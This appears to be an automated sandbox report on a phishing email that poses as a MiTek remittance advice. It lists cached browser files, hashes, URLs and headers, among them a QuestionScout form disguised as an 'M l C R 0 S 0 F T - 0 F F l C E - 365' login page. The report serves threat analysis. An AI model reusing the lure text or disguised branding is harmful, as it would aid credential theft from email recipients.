Malicious:	false
Reputation:	unknown
Preview:	{"country_code":"US","country_name":"United States","city":null,"postal":null,"latitude":37.751,"longitude":-97.822,"IPv4":"8.46.123.33","state":null}

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2134)
Category:	downloaded
Size (bytes):	13188
Entropy (8bit):	5.4223896155104025
Encrypted:	false
SSDEEP:
MD5:	7C96A5F11D9741541D5E3C42FF6380D7
SHA1:	D3FA2564C021CF730E58FFDDB138CF6B57ED126E
SHA-256:	81016AC6BE850B72DF5D4FAA0C3CEC8E2C1B0BA0045712144A6766ADFAD40BEE
SHA-512:	23C162A2E268951729B580E5035AD6CA9969CFCC5CE58A220817B912E76B38BE6C29C3CA7680CB4E8198863D95A72EA65BD06FF7189B5C8475E4C1CE501AEAB1
Malicious:	false
Reputation:	unknown
URL:	https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js
Preview:	/. Copyright 2016 Small Batch, Inc.. . Licensed under the Apache License, Version 2.0 (the "License"); you may not. * use this file except in compliance with the License. You may obtain a copy of. * the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT. * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the. * License for the specific language governing permissions and limitations under. * the License.. /./ Web Font Loader v1.6.26 - (c) Adobe Systems, Google. License: Apache 2.0 */(function(){function aa(a,b,c){return a.call.apply(a.bind,arguments)}function ba(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.app

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 23580, version 1.0
Category:	downloaded
Size (bytes):	23580
Entropy (8bit):	7.990537110832721
Encrypted:	true
SSDEEP:
MD5:	E1B3B5908C9CF23DFB2B9C52B9A023AB
SHA1:	FCD4136085F2A03481D9958CC6793A5ED98E714C
SHA-256:	918B7DC3E2E2D015C16CE08B57BCB64D2253BAFC1707658F361E72865498E537
SHA-512:	B2DA7EF768385707AFED62CA1F178EFC6AA14519762E3F270129B3AFEE4D3782CB991E6FA66B3B08A2F81FF7CABA0B4C34C726D952198B2AC4A784B36EB2A828
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjx4wXg.woff2
Preview:	wOF2......\........,..[...........................z.p.`..D....e........]..B..6.$..v. .....E.K...5c[R..V.Vr!.....$....@n..P.....'%.1....."A...#H:.T.6.JL.7.g..7..x....N"..,h....R3..u.T..A.._O..f=Mu.e.....0.c.0.FV.q....m;8..J.t.-.%."......&..2...!\....n..]Lx..:......S/F.V.rf%..#.Uk}....X.1n..V.\|.O..aC ."...#..>..n.... $;.....y.5..\|>...;@..Q.D........FT...r=p.Llf...J.3..{Z.. t]Rp.N..Z..7"B..,D.0s..."o..V<...#.N.WZ...m.\......Pb....#:z...B......~w.....J.ABQ.u<.8j..m..r2.....Aq.fNY...P..c.L+......v.n..yV.w......l......H...,..2.."v.......R.V.[...s......@..L....CS..'....Z.2..o......).4.H{C.%..?.%^...#.A.]..[....._&.[~1..j.P..`.......=......[.D7h..5...s......d'.....,....?...6.;....f..(M.CV.....R..q.c.....4.6.k.V.h/..........H..?u..!mq5...9@..0YA9.M..:..reS.;._......K...\..S.^.2..Fv.l~'l..U.TN....OXv..]..`.X1w.4E.t%a...2!.c.R.............t.'Hc...2.8...K.w..p@..T..RZ.@..)}..'+.7s1..... . -.....E7<...C.J.D....Iw-...u...m.K.\e..>..*....7y\|{........G..d13g].t.%.y<..

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65463)
Category:	downloaded
Size (bytes):	1305827
Entropy (8bit):	5.439697319762108
Encrypted:	false
SSDEEP:
MD5:	D4890C29C6A557CA74E0626822709DF4
SHA1:	593E6580A8E5C2BC1E57E48B8BBC6F0A437A3773
SHA-256:	17824230BF7963C61AA43641EF123C9351917D14803A9FCE53FF1385A3FDAE25
SHA-512:	888ABA676E9900AA0F3FFE16C86989F29A9015B8F44B873E31FC3E2694161F808C043229D8019429295D39F171D67EAFBF58171123E1F492127E731770F73195
Malicious:	false
Reputation:	unknown
URL:	https://form.questionscout.com/static/js/bundle.bff5e9a1.js
Preview:	/! For license information please see bundle.bff5e9a1.js.LICENSE.txt /.!function(e){function t(t){for(var n,i,o=t[0],a=t[1],s=0,u=[];s<o.length;s++)i=o[s],Object.prototype.hasOwnProperty.call(r,i)&&r[i]&&u.push(r[i][0]),r[i]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(l&&l(t);u.length;)u.shift()()}var n={},r={0:0};function i(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,i),r.l=!0,r.exports}i.e=function(e){var t=[],n=r[e];if(0!==n)if(n)t.push(n[2]);else{var o=new Promise((function(t,i){n=r[e]=[t,i]}));t.push(n[2]=o);var a,s=document.createElement("script");s.charset="utf-8",s.timeout=120,i.nc&&s.setAttribute("nonce",i.nc),s.src=function(e){return i.p+"static/js/"+({}[e]\|\|e)+"."+{1:"c9d5cea7"}[e]+".chunk.js"}(e);var l=new Error;a=function(t){s.onerror=s.onload=null,clearTimeout(u);var n=r[e];if(0!==n){if(n){var i=t&&("load"===t.type?"missing":t.type),o=t&&t.target&&t.target.src;l.message="Loading chunk

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	41
Entropy (8bit):	4.180365114215879
Encrypted:	false
SSDEEP:
MD5:	64E1C1EB9F4CAF0CF0E7484D7AFCEDB9
SHA1:	69E40D8C48A866A84046FD8BD17AF47FF02B79A4
SHA-256:	8ACAC48BC106C4EAE580C08071597F9DAFAB96D959DEFF65BEC44514DA907B1D
SHA-512:	F109767D57E85127D18B1AD2030A48C0EAD69F79A15C4008712407B1F62691654B74C9D6E225FFDC4A922847EABB928DC7520A656C7081B585124CF678B54E59
Malicious:	false
Reputation:	unknown
URL:	https://formapi.questionscout.com/socket.io/?fingerprint=941eb34e3404b058868640214f9df149&EIO=3&transport=polling&t=P1vtqGE&sid=9CXxX0UdLf8P8EoMAi5g
Preview:	{"code":1,"message":"Session ID unknown"}

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
URL:	https://xks.vrt7119.ru/rolyttezsnewwzckumngHZZoeZAWJMBHPIFWMEWWZASZVFSBGHQXH
Preview:	0

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.2359263506290326
Encrypted:	false
SSDEEP:
MD5:	8CBF279FC88A5CF73FE359F61F0B2630
SHA1:	A8186EB10ACCABBAB153B7EC0AB20E6DDA05EF5E
SHA-256:	562D0AD7CF4BD978332D6B8CDE558AE435883A6DDE6109E4BEA7686147B71EE2
SHA-512:	6DC3D11DA8088AA0D1245745148A63C4F56515357BEDE774B2ABADC0C199D631BE378D6076222CD9003321215BA9166A058ABDDD56CEE51C0AEC4E77F43371DF
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSFwkCyLY8f--KGhIFDVDnH6oSBQ0Oh4Of?alt=proto
Preview:	ChIKBw1Q5x+qGgAKBw0Oh4OfGgA=

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.076911148744752
Encrypted:	false
SSDEEP:
MD5:	C1FDE62E4D825132323DA6F1F8BF3F14
SHA1:	B0DE6DF6B60FF17B3DEA3FFFF78DCEC4062CE2E1
SHA-256:	E72B0AC38EDCEE9979A2EE333C3F208269734DF836CD8973FC4BA1D761F260B6
SHA-512:	6297CFC8A125D48BAC9BFCCE21E213C89656CAA3D9365A8BDA4E52ED74223825456DF2950B87B8B9BA31DAF3226C9A1E8B2E32CBAD7C4DC89840483E6D5FCA45
Malicious:	false
Reputation:	unknown
Preview:	96:0{"sid":"XpVqvGWIFC4u2BO7Ai5h","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}2:40

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.025987726435659
Encrypted:	false
SSDEEP:
MD5:	2EBBB1288DA3D668C29653F136264B1D
SHA1:	90DE9B6F9E8B5407A257C82496BF3A27CB3217B9
SHA-256:	8212AC9048CAD888B4A97DB968FC3B824203491AFFAF897E12204B506A9EC593
SHA-512:	C233A6E2B56ED8203041E8E6A2C1C619D20D7790948B5648FCAA026D82F3B798D117C1D551761CCCAF516803814A09BBB1454E40A3E1D62217AF3230FFB01617
Malicious:	false
Reputation:	unknown
Preview:	96:0{"sid":"lCbZwHan8tU13SXAAi5u","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}2:40

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	103
Entropy (8bit):	5.011329716684913
Encrypted:	false
SSDEEP:
MD5:	E61CA517C1B303DCDC41DFC586276AD9
SHA1:	9ADACEA403032CA67CF29F24EB891073B73F9B0F
SHA-256:	7D35961AAEFD6A809A9AF0F662A7F1140B0D373228B1F2A7095ADC813EE76977
SHA-512:	FCDCD77EE92CC461B692B00C7CD08AF38580E7CE4418817776FE9ACB4AE83C37BC3C2BA2F9EED3CF1716298B0E544FBF9DAA75CB02FABE6F5EA1301E336B3D16
Malicious:	false
Reputation:	unknown
URL:	https://formapi.questionscout.com/socket.io/?fingerprint=941eb34e3404b058868640214f9df149&EIO=3&transport=polling&t=P1vtqbd
Preview:	96:0{"sid":"GbIcM_ituOC8Ph3kAi5t","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}2:40

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	103
Entropy (8bit):	5.062253138994005
Encrypted:	false
SSDEEP:
MD5:	08B0BA65AB182F49A6101CD433C8F795
SHA1:	DC7DB81EAD321D2A73184F57631371A5FD35C918
SHA-256:	251DC740E028AA4F68E8E01AB02E3D7D39DC0A3F2A6C7A46C81D2FCD92AE54C3
SHA-512:	3182B7F25CA71A4A3DBF393D4DADD28FC212028C5050DB1CB647B12F4C22B5CBF35742121F23260FFE30D01D53851B58C0363864A4A8262FC7D8A31299BF2F60
Malicious:	false
Reputation:	unknown
URL:	https://formapi.questionscout.com/socket.io/?fingerprint=941eb34e3404b058868640214f9df149&EIO=3&transport=polling&t=P1vtcj8
Preview:	96:0{"sid":"wDWyyQdHhxSS27moAi5X","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}2:40

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:
MD5:	5F649E24AFCD658CCF64513A5CE71950
SHA1:	A28B1E3EFFEABE43F91BB03F435C1276B1B08ECE
SHA-256:	85F2EF987B76F4C3FC081ACEF84E0A730F5DF8A2488A5BB7DDAE4F7DEE721ED8
SHA-512:	8FA1F315267F724BA5C8817B7D518423A299CC60A168BC62A545732814CE4138B2AE8D3E8C6AEA8B5C0FDB69EEF339B36672691B7791EE037A5F188ECB6AD24B
Malicious:	false
Reputation:	unknown
URL:	https://formapi.questionscout.com/socket.io/?fingerprint=941eb34e3404b058868640214f9df149&EIO=3&transport=polling&t=P1vtj_u&sid=9CXxX0UdLf8P8EoMAi5g
Preview:	1:3

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (21628)
Category:	downloaded
Size (bytes):	30295
Entropy (8bit):	5.298299208888251
Encrypted:	false
SSDEEP:
MD5:	5A6A105D7399B1E15918BAE58F0B6661
SHA1:	6D3E12A271CD757E4061861965B3789E3196F052
SHA-256:	711D17021D5D5FEDB1C7F231189E329AF6BD06219110F02444C874F71C597E20
SHA-512:	680872090D4F8204F99297E4D5080C17BC30B1969AF0FB636A37ACF94DD024DF46A39DEB85E42A1BAD0BDF4BF94E55EA6DD50B9DD0F0C2B64C54D133662ED655
Malicious:	false
Reputation:	unknown
URL:	https://form.questionscout.com/667c5a5b01ef84c1eaf4663e
Preview:	<!doctype html>. <html lang="">. <head>. <meta http-equiv="X-UA-Compatible" content="IE=edge" />. <meta charset="utf-8" />. <title>M l C R 0 S 0 F T - 0 F F l C E - 365 \| QuestionScout</title>. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />. <link rel="stylesheet" type="text/css" href="/static/css/bundle.463f0bf5.css">. <script src="/static/js/bundle.bff5e9a1.js" defer></script>. <script src="https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js"></script>. . . <meta name="robots" content="noindex,nofollow,noarchive,noimageindex" />. . . . <link rel="shortcut icon" href="/favicon.ico" />. . . . Custom Code -->. . End Custom Code -->. </head>. <body class="unscrollable">. <div id="preloads"

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	103
Entropy (8bit):	5.032937119492511
Encrypted:	false
SSDEEP:
MD5:	3C2BFEA1CC8B95A49F498188DB3C60CB
SHA1:	4C701D7A463554225DE395B41AE66F9D2C047BA8
SHA-256:	1DD9D2778CC470070788346F91F810C98EE9E2E4FF54A7C455D6973662FE5C52
SHA-512:	A81C456B16F054DDF8CFF0088877A657DCB3C98F3115E0493D677D824AD6BF1E124CCBB4EB13EF8ADA9437D43CB60C58CEFF82DD1FA5AAF1AA32759F9802C39C
Malicious:	false
Reputation:	unknown
URL:	https://formapi.questionscout.com/socket.io/?fingerprint=941eb34e3404b058868640214f9df149&EIO=3&transport=polling&t=P1vtjf1
Preview:	96:0{"sid":"9CXxX0UdLf8P8EoMAi5g","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}2:40

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42690)
Category:	downloaded
Size (bytes):	42691
Entropy (8bit):	5.373060430099094
Encrypted:	false
SSDEEP:
MD5:	985094F1486391033426C17505182792
SHA1:	D44FF6BEF2E3D9B2F6DEAA0170458B1AE39350D4
SHA-256:	14B108C7F687C327D6AA759FD1D255A981D5D505B241B5B968B674E3BF50B2B9
SHA-512:	D1A8015658A82AE64F2E93341B8CA15B0057DF298DF36ACB47188B330E0327CFE0392EE1FF94B9D3BE7BC7D689BDD536A86ADB873A7ADEDE10AE45AA9A9415DB
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/turnstile/v0/g/d2a97f6b6ec9/api.js
Preview:	"use strict";(function(){function Et(e,a,r,o,c,u,g){try{var b=e[u](g),_=b.value}catch(l){r(l);return}b.done?a(_):Promise.resolve(_).then(o,c)}function wt(e){return function(){var a=this,r=arguments;return new Promise(function(o,c){var u=e.apply(a,r);function g(_){Et(u,o,c,g,b,"next",_)}function b(_){Et(u,o,c,g,b,"throw",_)}g(void 0)})}}function M(e,a){return a!=null&&typeof Symbol!="undefined"&&a[Symbol.hasInstance]?!!a[Symbol.hasInstance](e):M(e,a)}function Re(e,a,r){return a in e?Object.defineProperty(e,a,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[a]=r,e}function Be(e){for(var a=1;a<arguments.length;a++){var r=arguments[a]!=null?arguments[a]:{},o=Object.keys(r);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(r).filter(function(c){return Object.getOwnPropertyDescriptor(r,c).enumerable}))),o.forEach(function(c){Re(e,c,r[c])})}return e}function fr(e,a){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15920, version 1.0
Category:	downloaded
Size (bytes):	15920
Entropy (8bit):	7.987786667472439
Encrypted:	false
SSDEEP:
MD5:	3A44E06EB954B96AA043227F3534189D
SHA1:	23CEF6993DDB2B2979E8E7647FC3763694E2BA7D
SHA-256:	B019538234514166EC7665359D097403358F8A4C991901983922FB4D56989F1E
SHA-512:	FAB970B250DD88064730BD2603C530F3503ABB0AF4E4095786877F9660A159BF4AD98C5ABEA2E95EB39AE8C13417736B5772FCB9F87941FF5E0F383CB172997F
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......>0.......T..=..........................d.....^.`.. .\..<.................6.$.... .... ..S.!.%c.......\|y...6..;.s#.....x_<..o..........l...J.`p.m..6...h....U.pD...R.J.$...W..`7w...[..qD....<P......J.x.+J-^....va...:.KW..Ph...."....{.W4C....p..1..........CH.....P.............Q%.=.F.....1.%J....d..X..J.<AU..b.N...<l...d...f..^Y..]..&...VQ.<.....F..{.....&{.+J;.... .2P.:.5..?.o.\|....V[t..M..#..d.fv...........4..`.).h..h......@u........4......~.....r.B...p1.P.T..<....r....Y..8...GQ1.t.....%..-Wh..:W.....1l-...@..hL}...lN.._.j...D`..sn.=(...W..?.Z..p.52..H...X...)..CJ...V..7.....<\|..i...{...R.M+[..\|..x-..M3...~!\.l6}.T.o.R'$.)..-.W.T....A...5?.{.2.bR.../....*l..;...{..I>.n..MJ.2........U&. ..(L]].%P.$..p59.LD.f.........V.....z.5~.2\......#.4....9_....%wp.OU.0.....CK..../.x. ..A2e...@...(.i..f./.....`1.......!......@....0 vbt.e v./!...N=>:..A...(...f....?.....iH.F..!k.6.O6S..54.^c..2.G.?6....)b......lv.,h....Y.}.?..uk....L.4d.g..6.\.1u..

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.052734207039189
Encrypted:	false
SSDEEP:
MD5:	4D1CF14EA4EE175559AA8E88E001D514
SHA1:	5946781AB0CDFEE8E6CD7E21E4B2243D8FEAA2B0
SHA-256:	63CC644742D4906DE582D33E1E293D54E40393643DB2A18735CB9BAEF82636EE
SHA-512:	936463B1D82FC19248ED576E8698FC1BD353265C62E80CE42170E6717D839823FB5F3F7951320694AFD58F06C551EA34496B772F3B1CD3C76D5B24164B7ACBFB
Malicious:	false
Reputation:	unknown
Preview:	96:0{"sid":"A9B33PQJpXqFmL9nAi5Y","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}2:40

Static File Info

General

File type:	RFC 822 mail, ASCII text, with very long lines (566), with CRLF line terminators
Entropy (8bit):	6.086439021145469
TrID:	E-Mail message (Var. 5) (54515/1) 100.00%
File name:	23eb97f4-980c-745d-c5e2-6fdb70189e48.eml
File size:	199'488 bytes
MD5:	0504a9e027463df2524c34785c4370df
SHA1:	1e3cc9cf6800430e50608eef513c0c62142684ed
SHA256:	0c021dd3dedb4f581c35c5e23b18fcad472f318207f64545a015a469bef89091
SHA512:	28a28cf2b1cae77c1818a37b39b5119655927e0eaab23b06f2e423f8e6d1065a067c089f981b3f7681fb7f9bf15457f44e74d87b9ece692f0241ca2128657509
SSDEEP:	3072:S+4oJQXNCLCZMz0HW9jPuO/zhFAdncPerXMdn8EWeT/4zXMmG4B:S+XJQwLCZxHOzhF+MN8P+Wu4B
TLSH:	101412FD6A1015F24F23B2F27C5C7F995E84291F17824A50A94D77143AC2E95FFAB820
File Content Preview:	Received: from IA0PR10MB6819.namprd10.prod.outlook.com (2603:10b6:208:438::14).. by SJ0PR10MB4703.namprd10.prod.outlook.com with HTTPS; Wed, 3 Jul 2024.. 16:56:44 +0000..Received: from SJ0PR03CA0045.namprd03.prod.outlook.com (2603:10b6:a03:33e::20).. by I

Static Mail

General

Subject:	Mitek Holdings Inc Advice
From:	Andrea Bonardi <a.bonardi@bassareggiana.it>
To:	remittance <remittances@westernunionsmoneytransfer.com>
Cc:
BCC:
Date:	Wed, 03 Jul 2024 18:54:59 +0200
Communications:	Please see attached for the remittance advice. Could you please allocate this payment and send an updated statement? The pass code for viewing the document is: 3432 Thank you, Andrea Bonardi Complex Director of Finance Mitek Holdings Inc Office: 503.226.7641 x20957 OR CCB: 200978 1750 NW Naito Good AfterPkwy, Ste 250, Portland, OR 97209 MiTek Inc. and its subsidiaries are a global operating company organized in five divisions that serve the residential business segment (APAC, EMEA, Residential North America, Automation Solutions [including TBS Engineering], and Services) and four divisions that serve the commercial business segment (Commercial Builder Products, Mechanical Solutions, Mezzanine Systems, and Structural Framing). Additional information about our corporate organization is available at [ http://www.mii.com/corporate-structure/ \| www.mii.com/corporate-structure/ ] . MiTek Holdings, Inc.. All Rights Reserved ---- This communication (including any attachments) contains information which is confidential and may also be privileged. It is for the exclusive use of the intended recipient(s). If you are not the intended recipient(s), please note that any distribution, copying, or use of this communication or the information in it is strictly prohibited. If you have received this communication in error, please notify the sender immediately and then destroy any copies of it. '. If the disclaimer can't be applied, take no action.
Attachments:	Mitek Holdings Inc Remittance Advice.xlsx

Headers

Key	Value
Received	from mailstore09-dc.ilger.com (mailstore09-dc.ilger.com [10.230.0.113]) by mta4-dc.ilger.com (Postfix) with ESMTP id 0921F1205C6; Wed, 3 Jul 2024 18:55:00 +0200 (CEST)
Authentication-Results	spf=pass (sender IP is 93.47.117.64) smtp.mailfrom=bassareggiana.it; dkim=none (message not signed) header.d=none;dmarc=bestguesspass action=none header.from=bassareggiana.it;compauth=pass reason=109
